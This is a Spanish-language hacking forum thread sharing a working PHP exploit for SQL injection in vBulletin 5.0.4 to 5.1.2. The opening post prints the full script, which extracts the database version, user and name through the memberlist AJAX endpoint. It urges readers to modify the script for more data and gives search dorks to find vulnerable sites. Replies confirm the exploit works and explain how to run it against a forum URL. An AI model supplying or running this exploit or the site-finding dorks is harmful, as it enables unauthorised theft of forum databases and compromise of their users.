Inyección SQL en foros vBulletin 5.0.4 a 5.1.2 (Exploit + vídeo)

  • 5 Respuestas
  • 5816 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Stiuvert

  • *
  • Ex-Staff
  • *****
  • Mensajes: 2680
  • Actividad:
    0%
  • Reputación 15
  • Skype: [email protected]
  • Twitter: @Stiuvert
    • Ver Perfil


Hace unos días se supo de una Inyección SQL en el gestor de foros vBulletin, pero como siempre primero me gusta verificar y recién hoy se ha publicado en PacketStorm una versión pública ya que en 1337day Inj3ct0r ya se encontraba pero para acceder a él hay que pagar...



vBulletin es un software
desarrollado por vBulletin Solutions, para la creación y mantenimiento de foros
en Internet. Está basado en PHP y MySQL y según la propia compañía más de
100.000 sitios funcionan bajo este sistema.


Según confirma vBulletin, el
problema afecta a las versiones 5.0.4, 5.0.5, 5.1.0, 5.1.1 y 5.1.2. El grupo
Romanian Security Team (RST) ha publicado un vídeo en el que se muestra la
vulnerabilidad y confirma el reporte a vBulletin, que ofrecerán todos los
detalles tras la publicación del parche.



La vulnerabilidad permite a un usuario malicioso realizar ataques de inyección
SQL
sobre la base de datos, con todas las implicaciones que ello puedo
llevar. Es decir, extraer toda la
información y contenido de la base de datos
, e incluso a partir de ahí
comprometer todo el sistema.



El exploit que se ha publicado nos permite obtener la versión, nombre y usuario de la base de datos, para obtener datos más jugosos debéis modificar el exploit:




Código: [Seleccionar]
<?php
 
/*
    Author: Nytro
    Powered by: Romanian Security Team
    Price: Free. Educational.
*/
 
 
error_reporting(E_ALL);
ini_set('display_errors'1);
 
 
// Get arguments
 
 
$target_url = isset($argv[1]) ? $argv[1] : 'https://rstforums.com/v5';
$expression str_replace('/''\\/'$target_url);
 
 
// Function to send a POST request
 
 
function httpPost($url,$params)
{
    
$ch curl_init($url);
 
 
    
curl_setopt($chCURLOPT_URL,$url);
    
curl_setopt($chCURLOPT_RETURNTRANSFER,true);
    
curl_setopt($chCURLOPT_HEADERfalse);
    
curl_setopt($chCURLOPT_SSL_VERIFYPEERfalse);
    
curl_setopt($chCURLOPT_POST1);
    
curl_setopt($chCURLOPT_POSTFIELDS$params);
     
    
curl_setopt($chCURLOPT_HTTPHEADER, array(
        
'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
        
'Accept: application/json, text/javascript, */*; q=0.01',
        
'X-Requested-With: XMLHttpRequest',
        
'Referer: https://rstforums.com/v5/memberlist',
        
'Accept-Language: en-US,en;q=0.5',
        
'Cookie: bb_lastvisit=1400483408; bb_lastactivity=0;'
     
));
 
 
    
$output curl_exec($ch);
     
    if(
$output == FALSE) print htmlspecialchars(curl_error($ch));
 
 
    
curl_close($ch);
    return 
$output;
}
 
 
// Function to get string between two other strings
 
 
function get_string_between($string$start$end)
{
    
$string " ".$string;
    
$ini strpos($string,$start);
    if (
$ini == 0) return "";
    
$ini += strlen($start);
    
$len strpos($string,$end,$ini) - $ini;
    return 
substr($string,$ini,$len);
}
 
 
// Get version
 
 
print "\r\nRomanian Security Team - vBulltin 5.1.2 SQL Injection\r\n\r\n";
print 
"Version: ";
 
 
$result httpPost($target_url '/ajax/render/memberlist_items',
        
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version(),1  ,1)--+"+' .
        
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
 
 
$letter 1;
 
 
while(
strpos($result'No Users Matched Your Query') == false)
{
    
$exploded explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' $expression '\/member\/'$result);
 
 
    
$username get_string_between($exploded[1], '">''<\/a>');
    print 
$username[0];
     
    
$letter++;
    
$result httpPost($target_url '/ajax/render/memberlist_items',
            
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version(  ),' $letter ',1)--+"+' .
            
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
 
 
// Get user
 
 
print "\r\nUser: ";
 
 
$result httpPost($target_url '/ajax/render/memberlist_items',
        
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),1  ,1)--+"+' .
        
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
 
 
$letter 1;
 
 
while(
strpos($result'No Users Matched Your Query') == false)
{
    
$exploded explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' $expression '\/member\/'$result);
 
 
    
$username get_string_between($exploded[1], '">''<\/a>');
    print 
$username[0];
 
 
    
$letter++;
    
$result httpPost($target_url '/ajax/render/memberlist_items',
            
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),' $letter ',1)--+"+' .
            
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
 
 
// Get database
 
 
print "\r\nDatabse: ";
 
 
$result httpPost($target_url '/ajax/render/memberlist_items',
        
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(),  1,1)--+"+' .
        
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
 
 
$letter 1;
 
 
while(
strpos($result'No Users Matched Your Query') == false)
{
    
$exploded explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' $expression '\/member\/'$result);
 
 
    
$username get_string_between($exploded[1], '">''<\/a>');
    print 
$username[0];
 
 
    
$letter++;
    
$result httpPost($target_url '/ajax/render/memberlist_items',
            
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(),  ' $letter ',1)--+"+' .
            
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
 
 
print 
"\r\n"
 
 
?>



Descargar Exploit vBulletin

Google ya ha bloqueado una posible busqueda del dork necesario para buscar sitios afectados, por ejemplo:

"Powered by vBulletin® Version 5.1.2"
"Powered by vBulletin® Version 5.0.4"
"Powered by vBulletin® Version 5.0.5"
"Powered by vBulletin® Version 5.1.0"
"Powered by vBulletin® Version 5.1.1"

Pero si buscan con Bing encontrarán resultados.

Fuentes:
http://unaaldia.hispasec.com/2014/07/inyeccion-sql-en-el-gestor-de-foros.html
http://packetstormsecurity.com/files/127537/vBulletin-5.1.2-SQL-Injection.html
http://1337day.com/exploits/22452
http://www.blackploit.com



Fuente Original: Blackploit
« Última modificación: Julio 26, 2014, 01:33:58 pm por Snifer »

Desconectado Snifer

  • *
  • Ex-Staff
  • *****
  • Mensajes: 1439
  • Actividad:
    0%
  • Reputación 1
  • [email protected]'s
  • Twitter: sniferl4bs
    • Ver Perfil
    • Snifer@L4bs
Esto lo vi temprano y en un PoC local funciono perfecto!!.

Y la fuente? creo que esto anda en Blackploit?

PD: Solo digo aparte de traductor ahora mal posteador U_u vamos de mal en peor, ahi te corregi ;)

Regards,
Snifer
http://www.sniferl4bs.com


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Desconectado Stiuvert

  • *
  • Ex-Staff
  • *****
  • Mensajes: 2680
  • Actividad:
    0%
  • Reputación 15
  • Skype: [email protected]
  • Twitter: @Stiuvert
    • Ver Perfil
Estaba la fuente mi compañero Snifer! xD


Desconectado Snifer

  • *
  • Ex-Staff
  • *****
  • Mensajes: 1439
  • Actividad:
    0%
  • Reputación 1
  • [email protected]'s
  • Twitter: sniferl4bs
    • Ver Perfil
    • Snifer@L4bs
Nup, porque al final decia fuentes tal cual el post original, debes de poner lo que corresponde al cesar lo que es del cesar ;)

Regards,
Snifer
http://www.sniferl4bs.com


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Desconectado josemi

  • *
  • Underc0der
  • Mensajes: 23
  • Actividad:
    0%
  • Reputación 0
  • Ing. Sistemas
    • Ver Perfil
hermanoo.. tengo añooos sin compilar o interpretar un exploit. para usar este  necesito bajarme bamcompiler ? ya que desde cmd no reconoce el comando "php" o que tengo que hacer ?
« Última modificación: Julio 27, 2014, 03:20:34 am por blackdrake »

Desconectado fermino

  • *
  • Ex-Staff
  • *****
  • Mensajes: 330
  • Actividad:
    0%
  • Reputación 1
  • Aprendiz de todo, maestro de nada...
    • Ver Perfil
    • In The Middle Of Knowledge
hermanoo.. tengo añooos sin compilar o interpretar un exploit. para usar este  necesito bajarme bamcompiler ? ya que desde cmd no reconoce el comando "php" o que tengo que hacer ?
Nope, descarga la última versión de PHP, y luego ejecuta el script así:
C:\PATH_A_PHP\php.exe nombre_del_script.php url_del_foro

 

Nuevo Bug en Java 7u17 (Video MSF) [Applet Reflection Type Confusion RCE]

Iniciado por Acidkode

Respuestas: 3
Vistas: 3152
Último mensaje Abril 26, 2013, 11:47:02 am
por M3XT4R
Exploit para Apache Struts (ejecución remota de comandos) [Tomcat]|CVE2017-5638

Iniciado por Eschiclers

Respuestas: 9
Vistas: 8403
Último mensaje Marzo 23, 2017, 03:57:38 pm
por zoro248
[video] Introducción al Exploiting en Windows x86 by UND3R (Corelan)

Iniciado por .:UND3R:.

Respuestas: 3
Vistas: 7489
Último mensaje Junio 21, 2020, 04:28:57 am
por vilumbre
[Video] Jugando al JuAckEr pt 1. [No es tutorial][SQLi+Deface]

Iniciado por Xt3mP

Respuestas: 0
Vistas: 3008
Último mensaje Julio 21, 2010, 07:43:44 pm
por Xt3mP
Demostración Symlink [Video] + Explicación bypass info

Iniciado por andrewtwo

Respuestas: 1
Vistas: 3298
Último mensaje Agosto 30, 2012, 01:18:16 pm
por hdbreaker